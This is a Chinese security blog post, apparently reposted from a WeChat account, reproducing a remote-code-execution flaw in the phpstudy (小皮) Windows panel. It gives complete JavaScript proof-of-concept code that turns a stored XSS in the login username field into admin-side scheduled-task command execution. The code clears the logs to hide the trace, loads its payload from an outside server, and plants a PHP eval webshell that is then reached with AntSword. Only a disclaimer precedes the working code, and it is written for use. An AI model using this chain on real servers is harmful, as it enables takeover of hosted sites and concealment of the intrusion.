一、漏洞描述
最近爆出phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。
二、漏洞复现
首先在官网下载最新的小皮windows面板安装程序
在本地进行安装
安装完成之后会弹出访问地址,如下
访问系统登录面板,页面显示如下
首先在用户名登录的地方插入弹窗的xss代码验证是否存在漏洞
然后再用管理员账号登录系统
可以看到确实触发弹窗了,这是因为整个系统在加载的时候会读取操作日志的内容,因为刚才已经插入了弹窗的xss代码,所以这里执行显示了
紧接着该系统的后台有一个计划任务功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。具体步骤如下
在vps上部署我们需要插入的js文件,内容显示如下(在服务器的www目录下写入验证txt文件)
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res){
$.post('/service/app/tasks.php?type=set_task_status',{
task_id:id,
status:0
},function(res1){
$.post('/service/app/tasks.php?type=set_task_status',{
task_id:id,
status:0
},function(res2){
$.post("/service/app/log.php?type=clearlog",{
type:"clearlog"
},function(res3){},"json");
},"json");
},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="13";
data.minute = "51";
data.shell="echo swzaq >D:/phpstudyweb/xp.cn/www/1.txt";
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
这里的hour代表时,minute代表分
PS:这里需要清空日志,避免重复触发,不然很容易把真实环境搞崩
然后在登陆的用户名处插入如下代码
<script src=http://10.1.120.231:8000/poc.js></script>
只要管理员登录到系统,我们插入的xss代码即可写入计划任务并执行,通过计划任务就可以在服务器上写入文件
因为小皮面板这个运维系统类似于宝塔,所以其中会部署网站
这里写入webshell的话可以向网站目录下写,如
D:phpstudywebxp.cnwwwwwwrootadminlocalhost_80wwwroot
将上面的poc改造如下
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "<?php @eval($_POST[123]);?>" >D:/phpstudyweb/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
执行完成之后可以看到写入php文件成功了
用蚁剑测试连接
原文始发于微信公众号(守卫者安全):phpstudy 小皮web面板 RCE漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论